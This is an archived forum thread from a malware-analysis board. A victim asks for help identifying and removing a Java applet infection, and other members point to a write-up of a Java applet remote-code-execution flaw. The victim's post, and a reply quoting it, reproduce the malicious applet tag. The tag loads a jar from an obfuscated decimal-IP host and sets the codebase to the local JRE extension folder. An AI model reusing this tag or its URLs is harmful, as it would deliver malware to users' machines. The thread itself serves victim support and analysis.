Malware Domain List

Malware Related => Malware Analysis => Topic started by: y0liny on March 24, 2011, 02:49:03 pm

Title: Java Malware
Post by: y0liny on March 24, 2011, 02:49:03 pm

Hi, my computer is infected by this java..Who can help me with the analysis and removal of malware? What is it?  http://3286924353/jb.jar

Code: [Select]

<applet width="900" height="800"><param name="code" value="http://3286924353/jb.jar"><param name="codebase" value="file:C:\Program Files\java\jre6\lib\ext"><param name="foreground" value="http://rjrbrkhr.co.cc/showthread.php?t=941706"></applet>

Title: Re: Java Malware
Post by: APACHE on March 24, 2011, 03:17:37 pm

Quote from: y0liny on March 24, 2011, 02:49:03 pm

Hi, my computer is infected by this java..Who can help me with the analysis and removal of malware? What is it?  http://3286924353/jb.jar

Code: [Select]

<applet width="900" height="800"><param name="code" value="http://3286924353/jb.jar"><param name="codebase" value="file:C:\Program Files\java\jre6\lib\ext"><param name="foreground" value="http://rjrbrkhr.co.cc/showthread.php?t=941706"></applet>

"Check your Messages for info"

Title: Re: Java Malware
Post by: john_ on March 26, 2011, 08:14:15 am

We can also see the solution ? ;D it can help a lot of us...

Title: Re: Java Malware
Post by: GmG on March 26, 2011, 09:27:11 am

Oracle Java Unsigned Applet Applet2ClassLoader Remote Code Execution Vulnerability (ZDI-11-084 explained)

http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/

Title: Re: Java Malware
Post by: john_ on March 26, 2011, 09:39:00 am

Thanks, very well explained ;D